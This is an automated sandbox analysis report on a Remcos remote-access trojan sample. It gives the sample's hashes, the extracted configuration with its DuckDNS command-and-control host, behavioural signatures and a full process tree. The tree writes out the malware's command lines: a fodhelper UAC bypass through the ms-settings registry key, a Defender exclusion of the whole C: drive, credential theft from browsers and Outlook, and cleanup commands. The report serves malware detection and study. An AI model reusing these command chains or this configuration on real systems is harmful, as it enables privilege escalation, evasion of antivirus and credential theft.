Analysis
-
max time kernel
149s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
25-07-2024 07:09
Static task
static1
Behavioral task
behavioral1
Sample
f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe
Resource
win10v2004-20240709-en
General
-
Target
f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe
-
Size
1.2MB
-
MD5
de12c9cd706f1745fed49a0bd86a2d0c
-
SHA1
7e0e46e675a61dc5807915139904d2fb742f5d32
-
SHA256
f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42
-
SHA512
93d143630d0c9e7fbcb152f15264c573c788d24894fed2176124e08833b835f15557d7d02a853fd424b04cc8fc2fcfa3649f942fcab7681f380189cc38a940f8
-
SSDEEP
24576:LjWx3xQdd8fdq8EvCW+RSZhD445cr8VWO5g3EVL:LKVyL8fC+8XD445mY5g3EVL
Malware Config
Extracted
remcos
RemoteHost
127.0.0.1:52121
officerem.duckdns.org:52121
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
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keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-UNX1LL
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
Processes:
resource yara_rule behavioral2/memory/944-102-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/2488-104-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/956-101-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
Processes:
resource yara_rule behavioral2/memory/2488-104-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
Processes:
resource yara_rule behavioral2/memory/944-102-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
ngtepnyT.pifper.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation ngtepnyT.pif Key value queried \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation per.exe -
Executes dropped EXE 21 IoCs
Processes:
ngtepnyT.pifalpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exexkn.exealpha.exeger.exeper.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exepid process 3456 ngtepnyT.pif 2880 alpha.exe 2216 alpha.exe 1484 alpha.exe 1988 alpha.exe 2952 alpha.exe 4416 alpha.exe 920 alpha.exe 4020 xkn.exe 2460 alpha.exe 3684 ger.exe 4820 per.exe 368 alpha.exe 3524 alpha.exe 984 alpha.exe 3500 alpha.exe 676 alpha.exe 4416 alpha.exe 4356 alpha.exe 4312 alpha.exe 4868 alpha.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
Processes:
SndVol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts SndVol.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tynpetgn = "C:\\Users\\Public\\Tynpetgn.url" f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exeSndVol.exedescription pid process target process PID 2188 set thread context of 3456 2188 f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe ngtepnyT.pif PID 2952 set thread context of 944 2952 SndVol.exe SndVol.exe PID 2952 set thread context of 2488 2952 SndVol.exe SndVol.exe PID 2952 set thread context of 956 2952 SndVol.exe SndVol.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
extrac32.exeSndVol.exeSndVol.exeSndVol.exeSndVol.exef7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exengtepnyT.pifdescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language extrac32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SndVol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SndVol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SndVol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SndVol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ngtepnyT.pif -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs
Adversaries may check for Internet connectivity on compromised systems.
Processes:
alpha.exePING.EXEalpha.exePING.EXEpid process 2952 alpha.exe 5048 PING.EXE 984 alpha.exe 3492 PING.EXE -
Kills process with taskkill 3 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exepid process 4540 taskkill.exe 3856 taskkill.exe 1700 taskkill.exe -
Modifies registry class 5 IoCs
Processes:
ger.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell\open ger.exe Set value (str) \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" ger.exe Key created \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell\open\command ger.exe Key created \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings ger.exe Key created \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell ger.exe -
Processes:
xkn.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 xkn.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e xkn.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e xkn.exe -
Runs ping.exe 1 TTPs 2 IoCs
-
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 29 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 11 IoCs
Processes:
xkn.exef7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exeSndVol.exeSndVol.exepid process 4020 xkn.exe 4020 xkn.exe 4020 xkn.exe 2188 f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe 2188 f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe 956 SndVol.exe 956 SndVol.exe 944 SndVol.exe 944 SndVol.exe 944 SndVol.exe 944 SndVol.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
Processes:
SndVol.exepid process 2952 SndVol.exe 2952 SndVol.exe 2952 SndVol.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
xkn.exetaskkill.exetaskkill.exetaskkill.exeSndVol.exedescription pid process Token: SeDebugPrivilege 4020 xkn.exe Token: SeDebugPrivilege 1700 taskkill.exe Token: SeDebugPrivilege 4540 taskkill.exe Token: SeDebugPrivilege 3856 taskkill.exe Token: SeDebugPrivilege 956 SndVol.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
SndVol.exepid process 2952 SndVol.exe -
Suspicious use of SendNotifyMessage 2 IoCs
Processes:
SndVol.exepid process 2952 SndVol.exe 2952 SndVol.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exengtepnyT.pifcmd.exealpha.exealpha.exealpha.exealpha.exealpha.exexkn.exealpha.exealpha.exealpha.exealpha.exedescription pid process target process PID 2188 wrote to memory of 3456 2188 f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe ngtepnyT.pif PID 2188 wrote to memory of 3456 2188 f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe ngtepnyT.pif PID 2188 wrote to memory of 3456 2188 f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe ngtepnyT.pif PID 2188 wrote to memory of 3456 2188 f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe ngtepnyT.pif PID 2188 wrote to memory of 3456 2188 f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe ngtepnyT.pif PID 3456 wrote to memory of 3600 3456 ngtepnyT.pif cmd.exe PID 3456 wrote to memory of 3600 3456 ngtepnyT.pif cmd.exe PID 3600 wrote to memory of 3816 3600 cmd.exe extrac32.exe PID 3600 wrote to memory of 3816 3600 cmd.exe extrac32.exe PID 3600 wrote to memory of 2880 3600 cmd.exe alpha.exe PID 3600 wrote to memory of 2880 3600 cmd.exe alpha.exe PID 3600 wrote to memory of 2216 3600 cmd.exe alpha.exe PID 3600 wrote to memory of 2216 3600 cmd.exe alpha.exe PID 3600 wrote to memory of 1484 3600 cmd.exe alpha.exe PID 3600 wrote to memory of 1484 3600 cmd.exe alpha.exe PID 1484 wrote to memory of 1876 1484 alpha.exe extrac32.exe PID 1484 wrote to memory of 1876 1484 alpha.exe extrac32.exe PID 3600 wrote to memory of 1988 3600 cmd.exe alpha.exe PID 3600 wrote to memory of 1988 3600 cmd.exe alpha.exe PID 1988 wrote to memory of 3492 1988 alpha.exe extrac32.exe PID 1988 wrote to memory of 3492 1988 alpha.exe extrac32.exe PID 3600 wrote to memory of 2952 3600 cmd.exe alpha.exe PID 3600 wrote to memory of 2952 3600 cmd.exe alpha.exe PID 2952 wrote to memory of 5048 2952 alpha.exe PING.EXE PID 2952 wrote to memory of 5048 2952 alpha.exe PING.EXE PID 3600 wrote to memory of 4748 3600 cmd.exe cmd.exe PID 3600 wrote to memory of 4748 3600 cmd.exe cmd.exe PID 3600 wrote to memory of 4416 3600 cmd.exe alpha.exe PID 3600 wrote to memory of 4416 3600 cmd.exe alpha.exe PID 4416 wrote to memory of 676 4416 alpha.exe extrac32.exe PID 4416 wrote to memory of 676 4416 alpha.exe extrac32.exe PID 3600 wrote to memory of 920 3600 cmd.exe alpha.exe PID 3600 wrote to memory of 920 3600 cmd.exe alpha.exe PID 920 wrote to memory of 4020 920 alpha.exe xkn.exe PID 920 wrote to memory of 4020 920 alpha.exe xkn.exe PID 4020 wrote to memory of 2460 4020 xkn.exe alpha.exe PID 4020 wrote to memory of 2460 4020 xkn.exe alpha.exe PID 2460 wrote to memory of 3684 2460 alpha.exe ger.exe PID 2460 wrote to memory of 3684 2460 alpha.exe ger.exe PID 3600 wrote to memory of 4820 3600 cmd.exe per.exe PID 3600 wrote to memory of 4820 3600 cmd.exe per.exe PID 3600 wrote to memory of 368 3600 cmd.exe alpha.exe PID 3600 wrote to memory of 368 3600 cmd.exe alpha.exe PID 368 wrote to memory of 1700 368 alpha.exe taskkill.exe PID 368 wrote to memory of 1700 368 alpha.exe taskkill.exe PID 3600 wrote to memory of 3524 3600 cmd.exe alpha.exe PID 3600 wrote to memory of 3524 3600 cmd.exe alpha.exe PID 3524 wrote to memory of 4540 3524 alpha.exe taskkill.exe PID 3524 wrote to memory of 4540 3524 alpha.exe taskkill.exe PID 3600 wrote to memory of 984 3600 cmd.exe alpha.exe PID 3600 wrote to memory of 984 3600 cmd.exe alpha.exe PID 984 wrote to memory of 3492 984 alpha.exe PING.EXE PID 984 wrote to memory of 3492 984 alpha.exe PING.EXE PID 2188 wrote to memory of 2452 2188 f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe extrac32.exe PID 2188 wrote to memory of 2452 2188 f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe extrac32.exe PID 2188 wrote to memory of 2452 2188 f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe extrac32.exe PID 2188 wrote to memory of 2952 2188 f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe SndVol.exe PID 2188 wrote to memory of 2952 2188 f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe SndVol.exe PID 2188 wrote to memory of 2952 2188 f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe SndVol.exe PID 2188 wrote to memory of 2952 2188 f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe SndVol.exe PID 3600 wrote to memory of 3500 3600 cmd.exe alpha.exe PID 3600 wrote to memory of 3500 3600 cmd.exe alpha.exe PID 3600 wrote to memory of 676 3600 cmd.exe alpha.exe PID 3600 wrote to memory of 676 3600 cmd.exe alpha.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe"C:\Users\Admin\AppData\Local\Temp\f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2188 -
C:\Users\Public\Libraries\ngtepnyT.pifC:\Users\Public\Libraries\ngtepnyT.pif2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3456 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C861.tmp\C871.tmp\C872.bat C:\Users\Public\Libraries\ngtepnyT.pif"3⤵
- Suspicious use of WriteProcessMemory
PID:3600 -
C:\Windows\System32\extrac32.exeC:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"4⤵PID:3816
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "4⤵
- Executes dropped EXE
PID:2880 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"4⤵
- Executes dropped EXE
PID:2216 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1484 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"5⤵PID:1876
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"5⤵PID:3492
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 24⤵
- Executes dropped EXE
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2952 -
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:5048 -
C:\Windows\system32\cmd.execmd.exe4⤵PID:4748
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4416 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"5⤵PID:676
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:920 -
C:\Users\Public\xkn.exeC:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "5⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4020 -
C:\Users\Public\alpha.exe"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2460 -
C:\Users\Public\ger.exeC:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""7⤵
- Executes dropped EXE
- Modifies registry class
PID:3684 -
C:\Windows \System32\per.exe"C:\\Windows \\System32\\per.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
PID:4820 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:368 -
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettings.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1700 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3524 -
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettingsAdminFlows.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4540 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 24⤵
- Executes dropped EXE
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:984 -
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:3492 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"4⤵
- Executes dropped EXE
PID:3500 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"4⤵
- Executes dropped EXE
PID:676 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c rmdir "C:\Windows \"4⤵
- Executes dropped EXE
PID:4416 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S4⤵
- Executes dropped EXE
PID:4356 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S4⤵
- Executes dropped EXE
PID:4312 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM cmd.exe4⤵
- Executes dropped EXE
PID:4868 -
C:\Windows\system32\taskkill.exetaskkill /F /IM cmd.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3856 -
C:\Windows\SysWOW64\extrac32.exeC:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\f7f46b7ae3a2502c6489735c6d92a400617704cd12440e2015f3e50834af0d42.exe C:\\Users\\Public\\Libraries\\Tynpetgn.PIF2⤵
- System Location Discovery: System Language Discovery
PID:2452 -
C:\Windows\SysWOW64\SndVol.exeC:\Windows\System32\SndVol.exe2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2952 -
C:\Windows\SysWOW64\SndVol.exeC:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\cmsox"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:944 -
C:\Windows\SysWOW64\SndVol.exeC:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\egxzxpfa"3⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:2488 -
C:\Windows\SysWOW64\SndVol.exeC:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\pidsyhptntm"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:956
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C:\Windows\system32\SystemSettingsAdminFlows.exe"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper1⤵PID:264
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
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Downloads
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Filesize
222B
MD570fc307fa3d1ac09367ba402d8feacf7
